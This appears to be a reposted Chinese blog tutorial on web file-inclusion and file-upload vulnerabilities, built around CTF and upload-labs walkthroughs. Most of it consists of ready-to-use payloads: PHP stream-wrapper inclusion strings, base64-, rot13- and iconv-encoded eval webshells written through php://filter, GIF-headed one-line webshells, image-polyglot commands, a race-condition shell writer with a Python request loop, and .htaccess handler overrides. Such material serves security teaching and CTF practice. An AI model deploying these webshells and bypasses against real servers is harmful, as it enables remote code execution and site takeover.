WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计
Posted @墨竹
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计相关的知识,希望对你有一定的参考价值。
目录
CTF-87-php://filter/write&加密编码
知识概要
1、解释
什么是文件包含:
将其他文件直接包含在本页代码中。
文件包含漏洞:
当包含函数的内容是一个变量的话,那么可以通过控制变量包含带有后门的文件就实现了文件包含漏洞。
2、实现漏洞的三种方式
1、配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
2、配合日志文件进行getshell,日志会记录访问得UA信息,修改UA信息并改为后门代码,包含日志路径并执行后门代码
3、配合会话(session)文件进行getshell。
session的参考资料: session包含 - lnterpreter - 博客园
4、利用伪协议:php伪协议参考资料
使用伪协议的条件:
1、使用伪协议包含文件的函数中只能有变量,不能连接其他路径
2、查看伪协议的开关是否开启
3、本地包含LFI&远程包含RFI-区别
LFI:只能包含本地
RFI:可以远程加载
具体形成原因由代码和环境配置文件决定
4、各类脚本语言包含代码写法
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>
思路点
黑盒发现
主要观察参数传递的数据和文件名是否对应。如果url中有变量接受文件名,尝试给变量赋值其他文件名,要是可以正常显示证明有包含文件漏洞
白盒发现
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
CTF案例演示
CTF-78-php&http协议
payload: ?file=php://input post:<?php system('tac flag.php');?>
源码显示位直接获取文件并直接进行包含
直接利用input伪协议和post访问直接获取flag
CTF-79-data&http协议
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
该关过滤php,那么直接利用远程包含即可并在远程包含的文件上写入获取flag的代码
CTF-80&81-日志包含
注意:81与80方法相同,所以值演示80
利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
该关过滤了php,data并且禁用了文件包含漏洞
该关使用日志文件,通过查看信息发现中间件的类型nignx。同时搜索日志文件发现可以进行包含
直接访问页面,利用将UA改为获取flag代码,访问日志文件获取flag即可
CTF-87-php://filter/write&加密编码
1、利用base64写入文件:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
加解密: Rot13密码 - Rot13 Cipher - 在线工具网
CTF-88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
CTF-117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
执行下面PHP代码通过第一次的反转获取payload所加密的php文件内容
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
web安全文件上传解析漏洞&条件竞争&2次渲染
一、检测内容-图片后门&二次渲染
Pass-14 图片后门
这里查看源码只允许jpg、png、gif类型文件上传,通过读取上传文件内容开头的两个字节,进行判断。 图片马无法字节解析,需要配合其他漏洞,如文件包含漏洞。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
绕过
一句话木马开头添加GIF头,如:
GIF89a
<?php @eval($_POST[pass]);?>
或者生成图片马:
copy 1.jpg/b + 1.php/a 2.jpg
上传完事后文件包含康康
文件上传和解析成功
Pass17 二次渲染
二次渲染:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
这里先上传正常GIF图片,然后与原始的GIF图片进行对比,发现上传后的图片原始数据经过渲染后大小变小
用010 Editor十六进制编辑工具同时打开原始的GIF和渲染后的GIF,把渲染后的GIF的数据放在原始的GIF处并插入一句php代码,再进行上传
可以看到成功解析phinfo代码
二、代码逻辑-单次过滤&条件竞争
Pass11 单次过滤
这里查看源代码,定义了很多黑名单,发现在只要黑名单里面的文件后缀就会单次过滤为空,所以可以通过1.pphphp双写进行绕过
绕过成功
Pass18 条件竞争
条件竞争:在Web安全中,大致就是检测文件后缀,不符合条件,就删除。这种方式。所以我们使用多线程并发去访问该文件。总会碰到在删除文件这个时间段之前访问到PHP文件。一旦成功访问,就说明写了一个Shell。 攻击流程逻辑大概是这样。上传shell-不断访问shell.php shell生成马.php–删除shellp.php
查看源码,它这里逻辑是先移动保存文件后过滤,所以这里就存在了条件竞争问题,在它没有删除之前先访问到,在文件上传的时候不断访问文件进行一个写入的操作
再看这段php,大致意思就是访问到这个代码,就会写入shell.php一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>
完事之后进行上传抓包
接着使用python脚本去不停访问cmd.php,一直到成功为止。
import requests
url = "http://192.168.111.128/upload-labs-master/upload/cmd.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
这里成功的访问到了cmd.php,并生成了x.php一句话木马
三、解析安全-格式变异&中间件解析
Pass03 php5绕过
可以看到上传成功,再利用解析漏洞即可
Pass04 .htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,一般.htaccess可以用来留后门和针对黑名单绕过
//.htaccess内容
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这样就能把shell.jpg解析成php
Nginx 文件名逻辑漏洞(CVE-2013-4547)
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官网地址:https://vulhub.org/
然后来到那个目录输入下面两个命令即可
docker-compose build //重构
docker-compose up -d //开启
docker-compose down //关闭
由于内个靶场下载的实在太慢,我直接转向了buuctf,参考:https://blog.csdn.net/qq_36241198/article/details/115242982
Nginx 解析漏洞
nginx解析漏洞因为用户配置不当造成的漏洞。
1.jpg/.php、1.jpg/.php,1.jpg会被当成php格式解析,nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。配置文件vim /etc/php5/fpm/php.ini、vim /etc/php5/fpm/pool.d/www.conf,关键配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。
参考:https://blog.csdn.net/qq_36241198/article/details/115104244
IIS 解析漏洞
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于 目前只适用于Windows系统,不适用于其他操作系统。
IIS 6.x
基于文件名:
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。
基于文件夹名:
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
IIS 7.x
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文
IISPUT任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入
四、buuctf文件上传练习
[ACTF2020 新生赛]Upload
1.MIME绕过
2.黑名单phtml绕过
[GXYCTF2019]BabyUpload
1.MIME绕过先上传 .htaccess
<FilesMatch "11.png">
SetHandler application/x-httpd-php
</FilesMatch>
2.再上传GIF一句话木马
GIF89a?
<script language="php">eval($_POST['a']);</script>
.htaccess就是将图片解析为php类型文件
[极客大挑战 2019]Upload
1.MIME绕过,phtml后缀绕过
2.再上传GIF一句话木马
GIF89a?
<script language="php">eval($_POST['a']);</script>
以上是关于WEB攻防-通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计的主要内容,如果未能解决你的问题,请参考以下文章